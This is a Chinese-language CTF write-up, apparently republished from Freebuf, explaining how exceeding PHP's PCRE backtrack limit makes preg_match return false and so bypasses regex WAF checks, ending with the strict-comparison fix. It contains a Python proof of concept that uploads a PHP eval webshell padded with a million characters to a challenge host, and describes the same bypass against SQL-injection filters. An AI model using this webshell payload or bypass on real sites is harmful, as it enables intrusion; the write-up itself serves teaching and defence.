PHP利用PCRE回溯次数限制绕过某些安全限制

安全 应用安全
这次 Code-Breaking Puzzles 中我出了一道看似很简单的题目pcrewaf,大意是判断一下用户输入的内容有没有 PHP 代码,如果没有,则写入文件。

这次 Code-Breaking Puzzles 中我出了一道看似很简单的题目pcrewaf,将其代码简化如下:

  1. <?php 
  2. function is_php($data){   
  3.     return preg_match('/<\?.*[(`;?>].*/is', $data);   
  4.  
  5. if(!is_php($input)) { 
  6.     // fwrite($f, $input); ... 

大意是判断一下用户输入的内容有没有 PHP 代码,如果没有,则写入文件。这种时候,如何绕过 is_php() 函数来写入 webshell 呢?

这道题看似简单,深究其原理,还是值得写一篇文章的。

一、正则表达式是什么

正则表达式是一个可以被「有限状态自动机」接受的语言类。

「有限状态自动机」,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

  • DFA:从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。

二、回溯的过程是怎样的

所以,我们题目中的正则 <\?.*[(`;?>].*,假设匹配的输入是

见上图,可见第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。

所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……

最终直到吐出;,输入变成第 12 步显示的 ] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

在调试正则表达式的时候,我们可以查看当前回溯的次数:

这里回溯了 8 次。

三、PHP 的 pcre.backtrack_limit 限制利用

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限:

正则表达式

这里有个有趣的事情,就是 PHP 文档中,中英文版本的数值是不一样的:

正则表达式

我们应该以英文版为参考。

可见,回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?比如:

正则表达式

可见,preg_match 返回的非 1 和 0,而是 false。

preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制:

正则表达式

所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。

对应的 POC 如下:

  1. import requests 
  2. from io import BytesIO 
  3.  
  4. files = { 
  5.   'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) 
  6.  
  7. res = requests.post('http://51.158.75.42:8088/index.php', filesfiles=files, allow_redirects=False
  8. print(res.headers) 

四、PCRE 另一种错误的用法

延伸一下,很多基于 PHP 的 WAF,如:

  1. <?php 
  2. if(preg_match('/SELECT.+FROM.+/is', $input)) { 
  3.     die('SQL Injection'); 

均存在上述问题,通过大量回溯可以进行绕过。

另外,我遇到更常见的一种 WAF 是:

  1. <?php 
  2. if(preg_match('/UNION.+?SELECT/is', $input)) { 
  3.     die('SQL Injection'); 

这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:

  • .+? 匹配到/
  • 因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配*
  • S 匹配*失败,回溯,再由.+? 匹配*
  • 因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 a
  • S 匹配 a 失败,回溯,再由.+? 匹配 a

回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:

五、修复方法

那么,如何修复这个问题呢?

其实如果我们仔细观察 PHP 文档,是可以看到 preg_match 函数下面的警告的:

如果用 preg_match 对字符串进行匹配,一定要使用===全等号来判断返回值,如:

  1. <?php 
  2. function is_php($data){   
  3.     return preg_match('/<\?.*[(`;?>].*/is', $data);   
  4.  
  5. if(is_php($input) === 0) { 
  6.     // fwrite($f, $input); ... 

这样,即使正则执行失败返回 false,也不会进入 if 语句。

责任编辑:赵宁宁 来源: Freebuf
相关推荐

2019-02-12 15:39:52

2011-03-24 08:56:23

escalationsNagios报警

2011-03-21 15:44:52

escalationsNagios

2011-03-25 14:56:43

Nagiosescalations

2019-02-13 13:38:08

网络安全网络安全技术周刊

2015-01-05 09:59:42

2009-02-18 22:19:24

AD用户登陆实现限制

2009-12-07 09:13:05

取消PHP上传限制

2019-01-17 14:02:53

2010-04-22 16:02:36

2021-09-29 16:10:43

Windows 11MCT安装脚本

2023-10-12 14:21:52

ChatGPTGPT-4

2011-07-20 15:09:43

组策略分区

2011-10-08 13:29:28

QoSDSCP广域网

2024-01-06 10:26:04

2018-11-13 12:56:57

2021-09-29 09:34:56

Windows 11操作系统微软

2009-07-16 14:28:08

Windows EmbIE安全限制

2010-05-20 15:00:00

点赞
收藏

51CTO技术栈公众号